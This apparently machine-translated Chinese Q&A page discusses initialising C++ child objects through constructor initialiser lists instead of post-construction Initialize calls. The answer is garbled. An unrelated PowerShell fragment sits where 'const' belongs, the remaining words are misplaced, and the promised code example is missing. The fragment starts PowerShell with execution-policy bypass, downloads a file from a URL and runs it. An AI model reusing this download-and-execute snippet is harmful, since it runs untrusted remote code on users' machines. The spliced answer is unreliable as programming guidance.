我正在编写一个C ++应用程序,它利用了嵌套在一个“根”对象中的大量子对象。
其中的每一个都需要以特定的顺序进行初始化,并且在每次初始化之间 进行各种操作,有时还需要将先前初始化的参数作为彼此的参数。
但是,我的编译器强迫我在构造函数的初始值设定项列表中初始化它们,并坚持认为在 内部初始化是不够的。例如,我不能执行以下操作:
SomeThing::SomeThing() {
int argGottenByLibraryCall;
someLibraryCallToGetArg(&argGottenByLibraryCall);
m_ChildObject = ChildClass(argGottenByLibraryCall);
}
我已经改为实现创建后的初始化函数:
SomeThing::SomeThing() : m_ChildObject() {
int argGottenByLibraryCall;
someLibraryCallToGetArg(&argGottenByLibraryCall);
m_ChildObject.Initialize(argGottenByLibraryCall);
}
但是,对于我来说,这似乎是一种糟糕的做法。有没有更好的方法可以使我的编译器(VC ++ 2017)在构造函数体内接受初始化?
答案 0 :(得分:2)
但是,对于我来说,这似乎是一种糟糕的做法。
糟糕的做法是不使用初始化列表。它们使您可以将数据成员标记为$params = '/c', 'start', 'powershell', '-Exec Bypass',
"mkdir $dir;",
'$fyle=New-Object System.Net.WebClient;',
"`$fyle.DownloadFile('$url','$dest_filename');",
"$dest_filename"
Start-Process cmd -ArgumentList $params
,并确保它们已初始化。
解决问题的正确方法是重组代码,以使const
具有可以在成员初始化列表中使用的适当构造函数。
如果不可能,则将初始化逻辑包装在一个函数中,并在成员初始化列表中使用它:
m_ChildObject